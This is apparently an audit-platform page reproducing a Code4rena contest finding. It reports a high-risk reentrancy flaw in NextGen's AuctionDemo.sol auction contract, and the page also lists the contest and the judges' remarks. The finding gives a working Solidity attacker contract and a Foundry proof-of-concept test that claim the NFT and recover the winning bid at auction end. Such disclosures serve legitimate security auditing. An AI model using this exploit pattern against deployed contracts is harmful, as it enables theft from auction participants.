NextGen - 0xMango's results

Advanced smart contracts for launching generative art projects on Ethereum.

General Information

Platform: Code4rena

Start Date: 30/10/2023

Pot Size: $49,250 USDC

Total HM: 14

Participants: 243

Period: 14 days

Judge: 0xsomeone

Id: 302

League: ETH

NextGen

Findings Distribution

Researcher Performance

Rank: 213/243

Findings: 1

Award: $0.00

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: smiling_heretic

Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie

Awards

0 USDC - $0.00

Labels

bug
3 (High Risk)
satisfactory
duplicate-1323

External Links

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104

Vulnerability details

Impact

Regardless of the amount of ether the previous bidder deposited. A well-timed transaction or one done by a malicious validator at minterContract.getAuctionEndTime(tokenId) will be granted permission to invoke both claimAuction(tokenId) as well as cancelAllBids() via callback. Subsequently, the attacker will end up with the listed nft as well as his ether back.

Proof of Concept

Starting of with the contract which will perform the last bid at minterContract.getAuctionEndTime(tokenId). This contract will make use of the IERC721Receiver interface, to trigger auctionDemo.cancelAllBids(tokenId) exploiting the auctionDemo contract as the caller, when triggering the safetransfer() to the highest bidder.

// SPDX-License-Identifier: Built By Mango pragma solidity ^0.8.19; import {IERC721Receiver} from "../../src/IERC721Receiver.sol"; import {auctionDemo} from "../../src/AuctionDemo.sol"; contract Reentrant is IERC721Receiver { auctionDemo _auctionDemo; constructor( address auctionContract ) { _auctionDemo = auctionDemo(auctionContract); } function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns(bytes4) { // Reentrancy: _auctionDemo.cancelAllBids(30000000000); return this.onERC721Received.selector; } fallback() external payable { } }

Finally, the full POC shows 2 users placing bids, while the last one outbids them by 1 wei & calling claimAuction(tokenId) in the same transaction, to guarantee the nft & the ether payback.

function testVulnerableAuction() public { // Sets up bid for token id: 30000000000 _mintAndAuction(); vm.prank(fixAddress("RegularUser1")); vm.deal(fixAddress("RegularUser1"), 2e18); _auctionDemo.participateToAuction{value: 2e18 -1}(30000000000); vm.prank(fixAddress("RegularUser2")); vm.deal(fixAddress("RegularUser2"), 2e18); _auctionDemo.participateToAuction{value: 2e18}(30000000000); uint256 auctionEndTime = minterContract.getAuctionEndTime(30000000000); vm.prank(address(reentrant)); vm.deal(address(reentrant), 2e18 +1); vm.warp(auctionEndTime); _auctionDemo.participateToAuction{value: 2e18 + 1}(30000000000); _auctionDemo.claimAuction(30000000000); assertEq(address(reentrant).balance, 2e18+1); // 2e18 + 1 wei is returned! }

Needless to say, previous bidders, would be left without any funds to recover, due to the highest amount going to the admin, who listed the nft.

Tools Used

Foundry

The specific lines that allow for this vulnerability are both require statements in both claimAuction and cancelAllBids.

require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

These lines allow for invoking both functions at exactly minter.getAuctionEndTime(_tokenid).

Assessed type

Reentrancy

#0 - c4-pre-sort

2023-11-20T13:18:21Z

141345 marked the issue as duplicate of #962

#1 - c4-judge

2023-12-04T21:42:41Z

alex-ppg marked the issue as duplicate of #1323

#2 - c4-judge

2023-12-08T17:32:50Z

alex-ppg marked the issue as partial-50

#3 - c4-judge

2023-12-08T17:33:46Z

alex-ppg marked the issue as full credit

#4 - c4-judge

2023-12-08T17:39:25Z

alex-ppg marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter